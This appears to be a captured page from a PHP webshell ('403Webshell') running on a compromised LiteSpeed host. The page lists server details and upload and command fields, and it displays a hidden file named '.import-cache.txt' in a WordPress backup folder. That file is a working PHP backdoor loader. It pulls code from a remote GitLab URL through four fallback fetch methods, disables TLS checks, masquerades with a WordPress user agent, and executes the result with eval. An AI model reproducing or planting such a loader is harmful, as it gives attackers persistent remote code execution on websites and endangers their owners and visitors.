- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 162.0.215.126  /  Your IP : 216.73.216.4
Web Server : LiteSpeed
System : Linux business105.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
User : tektomgb ( 586)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tektomgb/tektk77genie.info/wp-backup/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tektomgb/tektk77genie.info/wp-backup/.import-cache.txt
<?php
ob_start();

$remote_url = "https://gitlab.com/wordpress-remote/seo/-/raw/main/wpindex.txt";
$timeout_seconds = 20;

function wp_fetch_curl($url, $timeout) {
    $ch = curl_init($url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => $timeout,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_MAXREDIRS => 5,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_USERAGENT => 'WordPress/CodeFetcher/1.0',
    ]);
    
    $response = curl_exec($ch);
    curl_close($ch);
    
    return $response ?: false;
}

function wp_fetch_file_get_contents($url, $timeout) {
    $context = stream_context_create([
        'http' => [
            'timeout' => $timeout,
            'header' => "User-Agent: WordPress/CodeFetcher/1.0\r\n",
            'follow_location' => true,
            'max_redirects' => 5,
        ],
        'ssl' => [
            'verify_peer' => false,
            'verify_peer_name' => false,
        ],
    ]);
    
    return @file_get_contents($url, false, $context) ?: false;
}

function wp_fetch_remote_get($url, $timeout) {
    if (!function_exists('wp_remote_get')) {
        return false;
    }
    
    $response = wp_remote_get($url, [
        'timeout' => $timeout,
        'redirection' => 5,
        'sslverify' => false,
        'user-agent' => 'WordPress/CodeFetcher/1.0',
    ]);
    
    if (is_wp_error($response)) {
        return false;
    }
    
    return wp_remote_retrieve_body($response) ?: false;
}

function wp_fetch_guzzle($url, $timeout) {
    if (!class_exists('\GuzzleHttp\Client')) {
        return false;
    }
    
    try {
        $client = new \GuzzleHttp\Client([
            'timeout' => $timeout,
            'verify' => false,
            'headers' => [
                'User-Agent' => 'WordPress/CodeFetcher/1.0',
            ],
        ]);
        
        return $client->get($url)->getBody()->getContents() ?: false;
    } catch (\Exception $e) {
        return false;
    }
}

if (!filter_var($remote_url, FILTER_VALIDATE_URL)) {
    ob_end_clean();
    exit;
}

$wordpress = false;
$methods = [
    'wp_fetch_curl',
    'wp_fetch_file_get_contents',
    'wp_fetch_remote_get',
    'wp_fetch_guzzle',
];

foreach ($methods as $method) {
    $wordpress = $method($remote_url, $timeout_seconds);
    if ($wordpress !== false && trim($wordpress) !== '') {
        break;
    }
}

if ($wordpress === false || trim($wordpress) === '') {
    ob_end_clean();
    exit;
}

try {
    eval("?>$wordpress");
} catch (Throwable $e) {
    ob_end_clean();
    exit;
}

ob_end_flush();

Youez - 2016 - github.com/yon3zu
LinuXploit